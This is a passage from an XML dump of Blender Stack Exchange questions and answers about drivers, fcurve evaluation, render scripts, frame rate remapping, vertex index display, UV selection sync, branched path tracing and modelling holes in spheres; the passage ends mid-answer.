  <row Id="3240" PostTypeId="1" AcceptedAnswerId="3248" CreationDate="2013-10-08T13:12:45.430" Score="4" ViewCount="1395" Body="&lt;p&gt;I'm trying to make a driver which gets a property value not in current frame, but frame+2 for example. How I can do that?&lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2013-10-08T17:15:08.013" Title="How to get a property value not in current frame?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3241" PostTypeId="2" ParentId="3237" CreationDate="2013-10-08T13:48:36.670" Score="9" Body="&lt;p&gt;You could also render the maximum size and then plug some Scale nodes into the compositor followed by File Output nodes. That way you only have to render once, and the smaller resolutions will be generated by the big one. (set the Scale node to Absolute and choose the size in the X and Y fields below)&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-08T13:48:36.670" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3242" PostTypeId="1" AcceptedAnswerId="3244" CreationDate="2013-10-08T13:56:37.577" Score="8" ViewCount="17246" Body="&lt;p&gt;I made an animation in 24 fps and when I render it, I see quite a few bits that are choppy, rendering in 30fps would improve this. The problem is that makes my movie shorter. To keep it the same length I would have to obviously increase the number of frames, but I would then have to shift all my keyframing by different amounts. Is there any way to automatically adjust this?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2013-10-08T15:43:21.600" Title="Can I increase the frame rate of an animation while keeping it the same length?" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3243" PostTypeId="2" ParentId="3242" CreationDate="2013-10-08T14:04:38.577" Score="0" Body="&lt;p&gt;You can render at 30 fps, then bring it into the compositor and render it out as a movie at 24fps. You also could in the graph editor scale all of your key-frames in the x-axis, you would have to extend the render end frame.&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-08T14:04:38.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3244" PostTypeId="2" ParentId="3242" CreationDate="2013-10-08T14:28:08.173" Score="10" Body="&lt;p&gt;Beneath the Frame Rate dropdown in the render panel, there is a time remapping section. Set the old mapping to 24 and the new to 30. For more in-depth info, see here: &lt;a href=&quot;http://www.ffnn.nl/pages/articles/media/blender-tips-and-tricks.php&quot;&gt;http://www.ffnn.nl/pages/articles/media/blender-tips-and-tricks.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-08T14:28:08.173" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3245" PostTypeId="2" ParentId="3240" CreationDate="2013-10-08T14:58:00.877" Score="0" Body="&lt;p&gt;Correction to my original answer: &lt;code&gt;frame+2&lt;/code&gt; in the expression field should give you exactly that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mHCve.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="156" LastEditDate="2013-10-08T15:29:32.330" LastActivityDate="2013-10-08T15:29:32.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3246" PostTypeId="2" ParentId="3242" CreationDate="2013-10-08T15:36:39.460" Score="3" Body="&lt;p&gt;I found a relatively easy way by going into the dope sheet, selecting all, scaling by 1.25 (to go from 24fps to 30fps). Then grab all points and slide so the first keyframe is at frame 1 again. Then set the end frame also to 1.25x the original frame length.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="1390" LastEditDate="2013-10-08T15:43:21.600" LastActivityDate="2013-10-08T15:43:21.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3247" PostTypeId="2" ParentId="3212" CreationDate="2013-10-08T16:24:01.350" Score="6" Body="&lt;p&gt;Here's a flexible approach using dupliverts and a boolean modifier to create patterned circular holes in any object:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add Ico sphere object&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cqSOj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add Cylinder object&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C2wGg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rotate Cylinder 90 degrees on X axis, apply Rotation&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8ttgN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Parent Cylinder to Ico sphere&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zHPJF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the Properties Object tab for the Ico sphere, select Duplication-&gt; Verts and check Rotation. After that, apply Make Duplicates Real&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bSmFW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete Ico sphere and original Cylinder, Join the remaining cylinders in to one object&lt;img src=&quot;https://i.stack.imgur.com/PmL9q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the target sphere you want to poke holes in (for this example, a UV sphere), then add a Boolean modifier for the new sphere, using Difference based on the new Cylinder object created&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Gcbqx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply the modifier, delete the new Cylinder object&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gYa2U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="621" LastActivityDate="2013-10-08T16:24:01.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3248" PostTypeId="2" ParentId="3240" CreationDate="2013-10-08T17:15:08.013" Score="4" Body="&lt;p&gt;You can evaluate fcurves for a property from python. Let's say you animated object Cube's location and want to get the Z value at frame 15:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# little utility function for searching fcurves&#xA;def find_fcurve(id_data, path, index=0):&#xA;    anim_data = id_data.animation_data&#xA;    for fcurve in anim_data.action.fcurves:&#xA;        if fcurve.data_path == path and fcurve.array_index == index:&#xA;            return fcurve&#xA;&#xA;# index=2 for the Z curve. Just omit for single value properties.&#xA;fcurve = find_fcurve(bpy.data.objects[&quot;Cube&quot;], &quot;location&quot;, 2)&#xA;&#xA;# Get the value at frame 15&#xA;print(fcurve.evaluate(15))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that evaluating fcurves may not be accurate in all circumstances, e.g. when you have additional constraints, physics simulation, etc. In that case the only real option may be to actually move to that frame, store the value and go back to the original frame.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-10-08T17:15:08.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3249" PostTypeId="1" AcceptedAnswerId="3253" CreationDate="2013-10-08T17:27:44.937" Score="28" ViewCount="16138" Body="&lt;p&gt;I am try to do something based on the ID of a vertices. I want blender to show me the vertices ID. How can I have blender show me the ID in the viewport? I do not see an option in the &lt;em&gt;Mesh Display&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EMJRS.png&quot; alt=&quot;I want to see the numbers next to the verts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VuKbQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="599" LastEditDate="2013-10-26T20:47:08.300" LastActivityDate="2020-04-09T15:47:12.350" Title="Show mesh vertices ID" Tags="&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3250" PostTypeId="2" ParentId="3237" CreationDate="2013-10-08T17:36:13.963" Score="3" Body="&lt;p&gt;I have used the following script from my toolbox to address a similar problem. I have adapted my script as per your question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Original scene&#xA;source = bpy.context.scene&#xA;&#xA;# Resolutions at which to render wedges&#xA;resolutions = [100, 50, 25]&#xA;&#xA;# This list will contain the wedges to be created in next step &#xA;wedges = []&#xA;&#xA;# Create the wedges&#xA;for i in range(0, 3):&#xA;     bpy.ops.scene.new(type='LINK_OBJECTS')&#xA;     scene = bpy.context.scene&#xA;     scene.name = '{0}.{1}'.format(source.name, i+1)&#xA;     scene.render.filepath = '//{0}.'.format(scene.name)&#xA;     scene.render.resolution_percentage = resolutions[i]&#xA;     wedges.append(scene)&#xA;&#xA;# Set the screen to display the original scene     &#xA;bpy.context.screen.scene = source&#xA;&#xA;# Render the wedges&#xA;for scene in wedges:&#xA;    bpy.ops.render.render(write_still=True, scene=scene.name)&#xA;    bpy.data.scenes.remove(scene)&#xA;&#xA;del wedges&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can copy/paste this into a text editor in a running session of blender, save the bland file with your scene setup, and then hit ALT+P in the text editor to run the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtrVG.png&quot; alt=&quot;The script in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script can also be used to render from the command line like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b filename.blend -P wedges.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="228" LastEditorUserId="599" LastEditDate="2013-10-08T20:27:01.903" LastActivityDate="2013-10-08T20:27:01.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3251" PostTypeId="1" CreationDate="2013-10-08T17:37:10.200" Score="10" ViewCount="2557" Body="&lt;p&gt;Imagine you have a rig that consists on bones and everything, and that in that setup you also include curve objects to do some physics simulation. All these rig objects would be part of a group for linking&#xA;How can you bake the cache of those physics when you link the group in the animation file?&lt;/p&gt;&#xA;" OwnerUserId="1414" LastActivityDate="2015-09-12T15:58:06.187" Title="How can I bake the physics cache of linked objects?" Tags="&lt;physics&gt;&lt;rigging&gt;&lt;baking&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3252" PostTypeId="2" ParentId="3251" CreationDate="2013-10-08T17:45:10.000" Score="6" Body="&lt;p&gt;Yes this can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However the solution is admittedly awkward, and this is an areas Blender could be improved.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Initial Bake&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the point cache has &lt;strong&gt;External&lt;/strong&gt; and &lt;strong&gt;Use Lib Path&lt;/strong&gt; option enabled,&lt;br&gt;&lt;em&gt;this way each library object can have its own cache when instanced in other files.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now for the &lt;em&gt;trick&lt;/em&gt; In the file that links this data in.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Properties&lt;/em&gt; Space, Select the object category.&lt;/li&gt;&#xA;&lt;li&gt;Pin the object &lt;em&gt;(Pin icon, top left corner of space)&lt;/em&gt;.&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/sDveB.png&quot; alt=&quot;Pin icon&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now, you can use the object ID selector to select a new object, one that is in the library and need the simulation to be baked.&lt;/li&gt;&#xA;&lt;li&gt;Now navigate to he buttons and run the bake operation.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, This is really a hidden feature which we are not proud of!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Setting Parameters&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To just execute the bake locally often isn't enough, you probably want to change the frame range and may even want to tweak physics settings based on the environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the only option is to use a Python script which overrides these settings on load, give it a name that won't conflict with other Python modules and enable &lt;code&gt;Registered&lt;/code&gt; in the text header so it runs on load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an example: &lt;code&gt;my_init.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;scene = bpy.context.scene&#xA;obj = bpy.data.groups[&quot;MyLinkedCharacter&quot;].objects[&quot;HairDo&quot;]&#xA;obj.particle_systems[&quot;ParticleSystem&quot;].point_cache.frame_start = scene.frame_start&#xA;obj.particle_systems[&quot;ParticleSystem&quot;].point_cache.frame_end = scene.frame_end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script can be run manually at any time to update the settings.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Rather then having single text-blocks per-file, the open-movie &lt;strong&gt;Sintel&lt;/strong&gt; used a single Python script that loaded for &lt;strong&gt;all&lt;/strong&gt; files, called &lt;a href=&quot;http://www.graphicall.org/ftp/ideasman42/finals_config.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;finals_config.py&lt;/a&gt;. I'd recommend using a single script to manage this otherwise you can't easily see whats happening without opening up every blend file although this script become messy over the course of the project so its not a great starting point, more a reference as to what can be done.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-02-18T21:33:47.727" LastActivityDate="2015-02-18T21:33:47.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3253" PostTypeId="2" ParentId="3249" CreationDate="2013-10-08T18:01:06.947" Score="36" Body="&lt;p&gt;There's a built-in feature to show mesh element indices, but the option isn't shown in the user interface by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7 and older:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option only shows if the debug mode is enabled.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start Blender in debug mode, or simply go to &lt;em&gt;Python Console&lt;/em&gt; (Shift-F4) and type &lt;code&gt;bpy.app.debug = True&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;N-panel &gt; Mesh Display&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;A checkbox &lt;em&gt;Indices&lt;/em&gt; will now show&lt;/li&gt;&#xA;&lt;li&gt;The colors are controlled by the interface theme&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's also an updated version of the Index Visulizer script:&lt;br&gt;&#xA;&lt;a href=&quot;https://developer.blender.org/F11709&quot; rel=&quot;noreferrer&quot;&gt;space_view3d_index_visualiser_bmesh.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.8:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It only shows if the developer UI option is turned on.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run Blender normally&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;em&gt;Edit&lt;/em&gt; &gt; &lt;em&gt;Preferences...&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Display&lt;/em&gt; panel of the &lt;em&gt;Interface&lt;/em&gt; tab, tick &lt;em&gt;Developer Extras&lt;/em&gt;&lt;br&gt;&#xA;or type &lt;code&gt;bpy.context.preferences.view.show_developer_ui = True&lt;/code&gt; into the Python console.&lt;/li&gt;&#xA;&lt;li&gt;Open the &lt;em&gt;Overlays&lt;/em&gt; popover in the 3D View &lt;a href=&quot;https://i.stack.imgur.com/mLM8v.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mLM8v.png&quot; alt=&quot;Overlays popover&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for the label &lt;em&gt;Developer&lt;/em&gt; and tick the checkbox &lt;em&gt;Indices&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v8leC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v8leC.png&quot; alt=&quot;Developer Overlay Indices&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2020-04-09T15:47:12.350" LastActivityDate="2020-04-09T15:47:12.350" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3254" PostTypeId="1" AcceptedAnswerId="3255" CreationDate="2013-10-08T18:45:53.513" Score="24" ViewCount="39913" Body="&lt;p&gt;I can't see this as an option so is there a way to select faces or islands and have them show up as selected faces on the object in 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In programs such as maya it is possible to work from either view and makes selection and mapping a little more user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it isn't possible in Blender but welcome your feed back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edited&lt;/strong&gt; as flag as already answered, although the question was not asked in the other post in a way that showed in my search. &#xA;I was looking for face and island selection to show in both views. The other asked about unselected vertices this obviously did not appear in the results.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1251" LastEditorUserId="1251" LastEditDate="2013-10-13T08:44:59.023" LastActivityDate="2020-06-08T17:38:20.113" Title="Selecting faces on object from UV editor window" Tags="&lt;modeling&gt;&lt;texturing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3255" PostTypeId="2" ParentId="3254" CreationDate="2013-10-08T19:10:20.820" Score="32" Body="&lt;p&gt;There's a button you can check to sync edit mode mesh selection with the uv editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Q4GH.png&quot; alt=&quot;Keep UV and edit mode mesh selection in sync&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable it, then select a UV face in UV editor and see it selected in View3D!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't work however for UV islands, and as you enable it, the selection in the View3D takes precedence over the UV selection. That's for sure something to be improved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Blender 2.8&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The button to toggle 'sync' is as shown below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1q5e8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1q5e8.png&quot; alt=&quot;2.8 Update&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="79197" LastEditDate="2019-09-05T13:03:11.773" LastActivityDate="2019-09-05T13:03:11.773" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="3256" PostTypeId="1" AcceptedAnswerId="3258" CreationDate="2013-10-08T19:16:16.017" Score="38" ViewCount="37431" Body="&lt;p&gt;I noticed recently that there is a new option in Cycles for &quot;branched path tracing&quot;, can someone explain what this does in easy to understand terms?  Should we expect faster render times or less samples etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give examples of best uses?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="29301" LastEditDate="2018-10-15T14:04:44.470" LastActivityDate="2018-10-15T14:04:44.470" Title="What is branched path tracing and how is it useful?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3257" PostTypeId="2" ParentId="3256" CreationDate="2013-10-08T19:30:09.087" Score="8" Body="&lt;p&gt;Branched Path Tracing is useful. Basically it allow you to focus render time on noisy areas, while saving time.&#xA;It allows the user to focus render attention on a specific component of the render. If you have a lot of rough glossy materials in your scene but ver few diffuse you can increase the glossy samples individually without over rendering the diffuse part.&#xA;&lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/cycles-non-progressive-integrator/&quot;&gt;CG Cookie&lt;/a&gt; made a video one this, unfortunately they do not think that it should be free.&#xA;Also the Arnold Render's &lt;a href=&quot;https://support.solidangle.com/display/mayatut/Removing+Noise&quot;&gt;User Guide&lt;/a&gt; will explain very clearly how you can remove noise. This guide is written for maya.&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorDisplayName="user320" LastEditDate="2013-10-08T19:37:01.627" LastActivityDate="2013-10-08T19:37:01.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3258" PostTypeId="2" ParentId="3256" CreationDate="2013-10-08T19:32:36.623" Score="27" Body="&lt;p&gt;The &lt;em&gt;Branched path&lt;/em&gt; integrator is not new, it was renamed from the &lt;em&gt;Non-Progressive integrator&lt;/em&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Cycles#Usability&quot; rel=&quot;noreferrer&quot;&gt;in 2.69&lt;/a&gt;.&lt;br&gt;&#xA;From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/settings/scene/render/integrator.html#branched-path-tracing/Integrator&quot; rel=&quot;noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The branched path tracing integrator (formerly called non-progressive&#xA;  integrator) is similar, but at the first hit it will split the path&#xA;  for different surface components and will take all lights into account&#xA;  for shading instead of just one. This makes each sample slower, but&#xA;  will reduce noise, especially in scenes dominated by direct or&#xA;  one-bounce lighting. To get the same number of diffuse samples as in&#xA;  the path tracing integrator, note that e.g. 250 path tracing samples =&#xA;  10 AA samples x 25 diffuse samples. The Sampling panel shows this&#xA;  total number of samples.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To visualize how this works, the &lt;em&gt;Progressive integrator&lt;/em&gt; simulates one path (or ray) per sample:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9BY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Branched path integrator&lt;/em&gt; splits the ray, sampling multiple directions as well as multiple components of the material (e.g. glossy, diffuse, etc) in one sample:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8AlLb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is helpful because it takes into account light from multiple directions as opposed to only one, as well as giving more control over how different shaders are sampled. (this also helps reduce fireflies, see &lt;a href=&quot;https://blender.stackexchange.com/questions/2275/what-is-the-reason-cycles-creates-incorrectly-colored-firefly-artifact-pixels&quot;&gt;What is the Reason Cycles Creates Incorrectly Colored/Firefly Artifact Pixels?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a nice &lt;a href=&quot;http://dingto.org/?p=690&quot; rel=&quot;noreferrer&quot;&gt;guide&lt;/a&gt; to using the &lt;em&gt;Branched Path integrator&lt;/em&gt; with some comparisons written by Tomas Dinges.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2017-12-24T09:38:26.003" LastActivityDate="2017-12-24T09:38:26.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3259" PostTypeId="1" CreationDate="2013-10-08T20:21:44.817" Score="8" ViewCount="1722" Body="&lt;p&gt;I'd like to subdivide a mesh, but only cut the long edges of the quads. So, with all faces selected, I want to halve the quads instead of quartering them &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beauty and short were settings for the subdivide tool. They did that wonderfully. Seems the functionality has been replaced or removed.&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Subdividing/Subdivide#Options&quot; rel=&quot;noreferrer&quot;&gt;Look under options&lt;/a&gt; and you know what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate it further:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKW5p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top mesh is the base, the middle mesh is the result of an ordinary subdivide and the lower mesh has only it's long edges cut. Imagine thousands of long faces that need more topology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't I want to do it manually? Becaus or cases like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1o4ld.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's today's way of doing that?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-09T12:00:07.320" LastActivityDate="2017-08-12T17:15:18.383" Title="Equivalent of the old beauty button for subdivide?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3260" PostTypeId="1" AcceptedAnswerId="3262" CreationDate="2013-10-08T21:19:45.300" Score="6" ViewCount="5605" Body="&lt;p&gt;What are some good techniques to make a rounded/beveled hole in a non-flat surface?&lt;br&gt;&#xA;e.g. something like the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?151903-b-m-p-s-1-5!&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender material preview scene&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Glossy&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UgXlm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The Boolean Modifier&lt;/em&gt; and the &lt;em&gt;Knife project&lt;/em&gt; tool work well, but they create uneven topology that is difficult to bevel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Image from the blender wiki&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-09T19:14:39.340" LastActivityDate="2013-10-09T19:14:39.340" Title="How to cut a rounded hole in a sphere?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3261" PostTypeId="2" ParentId="2877" CreationDate="2013-10-08T22:11:55.927" Score="1" Body="&lt;p&gt;You have the option to generate a new mesh for the ocean modifier or to use an existing mesh. If you create a sphere and apply the ocean modifier to it using the option other than 'generate' (sorry, don't have blender at hand right now), you can achieve your desired effect quite simply. This saves you from those mapping issues. &lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-08T22:11:55.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3262" PostTypeId="2" ParentId="3260" CreationDate="2013-10-08T22:23:12.537" Score="11" Body="&lt;p&gt;This might take considerable more work for more complex shapes but one way would be to use the &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier to snap the outline of the shape to your mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGw06.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, join both shapes and delete the parts of the sphere that your outline contains, now fill in back the rest of the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiZyim.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/0RWVBm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, this method is not perfect and would require some careful editing to make sure the mesh keeps its curved appearance but for simple outlines/shapes it should work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General tips when doing this are to keep your outline clean and preferably as lines as the &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier tends to distort faces depending on the surface it is snapping to.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another way would be to use the &lt;em&gt;Boolean&lt;/em&gt; modifier and cut out the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the modifier to the object you want to cut and select the object &lt;em&gt;(an extruded Blender logo in this case)&lt;/em&gt; and set the operation to &lt;em&gt;Difference&lt;/em&gt; with the logo as the target, delete the outside piece of the logo and you should have a nice cut out shape on the 